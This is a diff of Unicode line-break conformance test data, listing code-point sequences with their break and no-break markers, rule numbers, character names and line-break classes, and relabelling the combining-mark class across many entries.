+× 000A ÷ 0308 × 0020 × 000A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 000A ÷ 0085 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 000A ÷ 0020 × 0085 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 000A ÷ 0308 × 0085 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 000A ÷ 0308 × 0085 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 000A ÷ 17D6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 000A ÷ 0020 ÷ 17D6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 000A ÷ 0308 × 17D6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 000A ÷ 0308 × 17D6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 000A ÷ 0030 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] DIGIT ZERO (NU) ÷ [0.3]
× 000A ÷ 0020 ÷ 0030 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 000A ÷ 0308 × 0030 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 000A ÷ 0308 × 0030 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 000A ÷ 0028 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] LEFT PARENTHESIS (OP) ÷ [0.3]
× 000A ÷ 0020 ÷ 0028 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 000A ÷ 0308 × 0028 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 000A ÷ 0308 × 0028 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 000A ÷ 0025 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] PERCENT SIGN (PO) ÷ [0.3]
× 000A ÷ 0020 ÷ 0025 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 000A ÷ 0308 ÷ 0025 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 000A ÷ 0308 × 0025 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 000A ÷ 0024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] DOLLAR SIGN (PR) ÷ [0.3]
× 000A ÷ 0020 ÷ 0024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 000A ÷ 0308 ÷ 0024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 000A ÷ 0308 × 0024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 000A ÷ 0022 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] QUOTATION MARK (QU) ÷ [0.3]
× 000A ÷ 0020 ÷ 0022 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 000A ÷ 0308 × 0022 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 000A ÷ 0308 × 0022 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 000A ÷ 0020 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [0.3]
× 000A ÷ 0020 × 0020 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 000A ÷ 002F ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SOLIDUS (SY) ÷ [0.3]
× 000A ÷ 0020 × 002F ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 000A ÷ 0308 × 002F ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 002F ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 000A ÷ 0308 × 002F ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 002F ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 000A ÷ 2060 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] WORD JOINER (WJ) ÷ [0.3]
× 000A ÷ 0020 × 2060 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 000A ÷ 0308 × 2060 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 000A ÷ 0308 × 2060 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 000A ÷ 200B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 000A ÷ 0020 × 200B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 000A ÷ 0308 × 200B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 200B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 000A ÷ 0308 × 200B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 200B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 000A ÷ 1F1E6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 000A ÷ 0020 ÷ 1F1E6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 000A ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000A ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000A ÷ 261D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000A ÷ 0020 ÷ 261D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000A ÷ 0308 ÷ 261D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 261D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000A ÷ 1F3FB ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000A ÷ 0020 ÷ 1F3FB ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000A ÷ 0308 ÷ 1F3FB ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000A ÷ 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000A ÷ 0020 ÷ 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000A ÷ 0308 × 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000A ÷ 200D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000A ÷ 0020 ÷ 200D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000A ÷ 0308 × 200D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 200D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 000A ÷ 00A7 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SECTION SIGN (AI_AL) ÷ [0.3]
× 000A ÷ 0020 ÷ 00A7 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 000A ÷ 0308 × 00A7 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 000A ÷ 0308 × 00A7 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 000A ÷ 50005 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <reserved-50005> (XX_AL) ÷ [0.3]
× 000A ÷ 0020 ÷ 50005 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 000A ÷ 0308 × 50005 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 000A ÷ 0308 × 50005 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 000A ÷ 0E01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 000A ÷ 0020 ÷ 0E01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 000A ÷ 0308 × 0E01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 000A ÷ 0308 × 0E01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 000A ÷ 3041 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 000A ÷ 0020 ÷ 3041 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 000A ÷ 0308 × 3041 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000A ÷ 0308 × 3041 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0085 ÷ 0023 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] NUMBER SIGN (AL) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0023 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0085 ÷ 0308 × 0023 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0085 ÷ 0308 × 0023 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0085 ÷ 2014 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] EM DASH (B2) ÷ [0.3]
× 0085 ÷ 0020 ÷ 2014 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 2014 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 2014 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0085 ÷ 0009 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0085 ÷ 0020 ÷ 0009 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0085 ÷ 0308 × 0009 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0085 ÷ 0308 × 0009 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0085 ÷ 00B4 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] ACUTE ACCENT (BB) ÷ [0.3]
× 0085 ÷ 0020 ÷ 00B4 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0085 ÷ 0308 ÷ 00B4 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0085 ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0085 ÷ 0308 ÷ 00B4 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0085 ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0085 ÷ 000B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] <LINE TABULATION> (BK) ÷ [0.3]
× 0085 ÷ 0020 × 000B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0085 ÷ 0308 × 000B ÷ # × [0.3] <NEXT LINE (NEL)> (NL) ÷ [5.04] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
